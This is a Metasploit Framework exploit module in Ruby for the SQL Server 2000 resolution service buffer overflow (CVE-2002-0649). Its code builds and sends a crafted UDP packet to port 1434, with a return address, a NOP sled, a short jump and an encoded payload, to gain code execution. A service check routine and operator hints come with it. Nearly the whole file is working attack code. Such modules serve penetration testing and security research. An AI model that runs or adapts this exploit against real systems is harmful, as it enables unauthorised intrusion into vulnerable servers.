113 lines
2.6 KiB
Ruby
113 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::MSSQL
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server Resolution Overflow',
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'Description' => %q{
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This is an exploit for the SQL Server 2000 resolution
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service buffer overflow. This overflow is triggered by
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sending a udp packet to port 1434 which starts with 0x04 and
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is followed by long string terminating with a colon and a
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number. This module should work against any vulnerable SQL
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Server 2000 or MSDE install (pre-SP3).
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2002-0649'],
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[ 'OSVDB', '4578'],
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[ 'BID', '5310'],
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[ 'MSB', 'MS02-039'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x00\x3a\x0a\x0d\x2f\x5c",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'MSSQL 2000 / MSDE <= SP2',
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{
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'Platform' => 'win',
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'Ret' => 0x42b48774,
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},
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],
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],
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'Platform' => 'win',
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'DisclosureDate' => 'Jul 24 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(1434)
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], self.class)
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end
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def check
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info = mssql_ping
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if (info['ServerName'])
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print_status("SQL Server Information:")
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info.each_pair { |k,v|
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print_status(" #{k + (" " * (15-k.length))} = #{v}")
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}
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_udp
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print_status(sprintf("Sending UDP packet with return address 0x%.8x", target.ret))
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print_status("Execute 'net start sqlserveragent' once access is obtained");
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# \x68:888 => push dword 0x3838383a
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buf = "\x04" + rand_text_english(800, payload_badchars) + "\x68:888"
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# Return to the stack pointer
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buf[ 97, 4] = [target.ret].pack('V')
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# Which lands right here
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buf[101, 6] = make_nops(6)
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# Jumps 8 bytes ahead
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buf[107, 2] = "\xeb\x08"
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# Write to thread storage space to avoid a crash
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buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')
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# And finally into the payload
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buf[117,payload.encoded.length] = payload.encoded
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udp_sock.put(buf)
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disconnect_udp
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handler
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end
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end
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